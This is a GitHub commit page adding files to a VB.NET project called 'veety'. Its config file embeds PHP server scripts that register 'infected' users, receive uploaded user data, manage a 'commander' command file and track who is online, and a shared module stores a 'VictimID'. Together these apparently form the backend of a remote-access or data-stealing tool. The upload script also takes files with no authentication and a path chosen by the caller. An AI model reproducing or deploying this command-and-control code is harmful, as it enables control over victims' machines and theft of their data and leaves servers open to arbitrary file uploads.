Skip to content

Commit 02e8986

Browse files
authored
Add files via upload
1 parent 62ac7f4 commit 02e8986

File tree

6 files changed

+488
-0
lines changed

6 files changed

+488
-0
lines changed

App.config

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
<?xml version="1.0" encoding="utf-8" ?>
2+
<configuration>
3+
<configSections>
4+
<sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >
5+
<section name="veety.My.MySettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />
6+
</sectionGroup>
7+
</configSections>
8+
<startup>
9+
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
10+
</startup>
11+
<userSettings>
12+
<veety.My.MySettings>
13+
<setting name="RM" serializeAs="String">
14+
<value>False</value>
15+
</setting>
16+
<setting name="rLogin" serializeAs="String">
17+
<value />
18+
</setting>
19+
<setting name="rPassword" serializeAs="String">
20+
<value />
21+
</setting>
22+
<setting name="UplUsrDta" serializeAs="String">
23+
<value>&lt;?php
24+
$name = $_GET['USERNAME'];
25+
move_uploaded_file($_FILES["file"]["tmp_name"], $name . $_FILES["file"]["name"]);
26+
?&gt;</value>
27+
</setting>
28+
<setting name="AddInfected" serializeAs="String">
29+
<value>&lt;?php
30+
$name = $_GET['USERNAME'];
31+
32+
if (file_exists($name) &amp;&amp; is_dir($name)) {
33+
echo "failed";
34+
} else {
35+
if (mkdir($name)) {
36+
echo "success";
37+
} else {
38+
echo "Failed to create folder.";
39+
}
40+
}
41+
?&gt;
42+
</value>
43+
</setting>
44+
<setting name="ClearCommader" serializeAs="String">
45+
<value>&lt;?php
46+
$file = 'commander'; // nazwa pliku do wyczyszczenia
47+
48+
// Otwieramy plik do zapisu, co spowoduje jego wyczyszczenie
49+
if (file_put_contents($file, '') !== false) {
50+
echo "success.";
51+
} else {
52+
echo "error.";
53+
}
54+
?&gt;</value>
55+
</setting>
56+
<setting name="AddOnline" serializeAs="String">
57+
<value>&lt;?php
58+
// Sprawdź, czy parametr 'tekst' jest ustawiony w URL
59+
if (isset($_GET['UserID'])) {
60+
// Pobierz tekst z URL
61+
$UserID= $_GET['UserID'];
62+
63+
// Otwórz plik 'online.yml' w trybie dopisywania
64+
$plik = fopen('online.html', 'a');
65+
66+
// Sprawdź, czy plik został poprawnie otwarty
67+
if ($plik) {
68+
// Dodaj nową linię na końcu pliku
69+
fwrite($plik, $UserID . PHP_EOL);
70+
71+
// Zamknij plik
72+
fclose($plik);
73+
74+
echo "success";
75+
} else {
76+
echo "fail";
77+
}
78+
} else {
79+
echo "Nie podano tekstu.";
80+
}
81+
?&gt;
82+
</value>
83+
</setting>
84+
<setting name="RemOnline" serializeAs="String">
85+
<value>&lt;?php
86+
// Sprawdź, czy parametr 'UserID' jest ustawiony w URL
87+
if (isset($_GET['UserID'])) {
88+
// Pobierz wartość parametru 'UserID' z URL
89+
$UserID = $_GET['UserID'];
90+
91+
// Wczytaj zawartość pliku 'online.html' do tablicy
92+
$linie = file('online.html', FILE_IGNORE_NEW_LINES);
93+
94+
// Sprawdź, czy plik został poprawnie wczytany
95+
if ($linie !== false) {
96+
// Znajdź linię z tekstem równym $UserID i usuń ją
97+
$nowe_linie = array_filter($linie, function($linia) use ($UserID) {
98+
return trim($linia) !== $UserID;
99+
});
100+
101+
// Sprawdź, czy nastąpiła zmiana (czy tekst został znaleziony i usunięty)
102+
if (count($nowe_linie) !== count($linie)) {
103+
// Zapisz zaktualizowaną zawartość z powrotem do pliku
104+
$plik = fopen('online.html', 'w');
105+
106+
// Sprawdź, czy plik został poprawnie otwarty
107+
if ($plik) {
108+
foreach ($nowe_linie as $nowa_linia) {
109+
fwrite($plik, $nowa_linia . PHP_EOL);
110+
}
111+
112+
// Zamknij plik
113+
fclose($plik);
114+
115+
echo "success";
116+
} else {
117+
echo "fail";
118+
}
119+
} else {
120+
echo "Nie znaleziono podanego tekstu.";
121+
}
122+
} else {
123+
echo "Nie udało się otworzyć pliku.";
124+
}
125+
} else {
126+
echo "Nie podano tekstu.";
127+
}
128+
?&gt;</value>
129+
</setting>
130+
<setting name="ONLINEINDEX" serializeAs="String">
131+
<value />
132+
</setting>
133+
</veety.My.MySettings>
134+
</userSettings>
135+
</configuration>

SharedData.vb

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
Module SharedData
2+
'# Serwer
3+
Public veety_database As String = "https://edditdev.com/veety/database/"
4+
Public veety_servers As String = "https://edditdev.com/veety/servers/"
5+
Public veety_all_license As String = "https://edditdev.com/veety/license/licenses"
6+
Public veety_counters As String = "https://edditdev.com/veety/other/"
7+
8+
'# Veety Inside data
9+
Public LicensesList As New RichTextBox
10+
'- Licznk
11+
Public RegistrationsCounter As String
12+
13+
'# User
14+
Public veety_downloaded_licenses As String
15+
Public user_username As String
16+
Public user_password As String
17+
Public user_license As String
18+
19+
Public connected_server As String
20+
Public VictimID As String
21+
22+
23+
End Module

ToDO

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Icon color: Unchecked: #6C6C95
2+
Icon color: Checked: #2C2C92

packages.config

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<packages>
3+
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net472" />
4+
</packages>

veety.sln

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 17
4+
VisualStudioVersion = 17.9.34622.214
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "veety", "veety\veety.vbproj", "{56DA627C-7C99-42B4-9F97-648EC564D891}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Any CPU = Debug|Any CPU
11+
Release|Any CPU = Release|Any CPU
12+
EndGlobalSection
13+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
14+
{56DA627C-7C99-42B4-9F97-648EC564D891}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15+
{56DA627C-7C99-42B4-9F97-648EC564D891}.Debug|Any CPU.Build.0 = Debug|Any CPU
16+
{56DA627C-7C99-42B4-9F97-648EC564D891}.Release|Any CPU.ActiveCfg = Release|Any CPU
17+
{56DA627C-7C99-42B4-9F97-648EC564D891}.Release|Any CPU.Build.0 = Release|Any CPU
18+
EndGlobalSection
19+
GlobalSection(SolutionProperties) = preSolution
20+
HideSolutionNode = FALSE
21+
EndGlobalSection
22+
GlobalSection(ExtensibilityGlobals) = postSolution
23+
SolutionGuid = {C5FCA1AB-D694-4255-82AA-29F541214942}
24+
EndGlobalSection
25+
EndGlobal

0 commit comments

Comments
 (0)